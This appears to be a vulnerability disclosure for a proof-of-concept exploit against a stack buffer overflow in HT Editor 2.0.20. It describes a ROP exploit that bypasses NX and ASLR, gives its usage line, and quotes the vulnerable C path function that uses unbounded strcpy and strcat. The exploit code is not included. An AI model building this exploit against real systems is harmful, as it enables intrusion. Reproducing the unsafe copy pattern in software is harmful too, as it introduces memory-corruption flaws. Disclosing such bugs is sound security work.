HT Editor 2.0.20 Buffer Overflow (ROP PoC)

=head2 DESCRIPTION

Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
I consequently recoded an exploit, as memory addresses have changed. I chose to
make it B<bypass NX & ASLR>, SSP not being implemented.
To be honnest, it may be the only interest, as the binary is not SUID.

Remove =begin ...  annotation (at the end) to just print the command line.

=head2 USAGE

perl poc.pl /hte/path

 

=head3 Code

 int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
 {
  char *o = result;
  if (!sys_path_is_absolute(filename, delim)) {
   if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
   int ol = strlen(o);
   if (ol && !delim(o[ol-1])) {
    o[ol] = '/';
    o[ol+1] = 0;
   }
  } else *o = 0;
  strcat(o, filename); //<-- And here it is, good old unsecure function
  int k = flatten_path(o, delim);
  return (k == 0) ? 0 : EINVAL;
 }

=head3 Note

The path variable (o) is also vulnerable through a strcpy() unsecure call.
Hope developpers will mind correcting both 2.
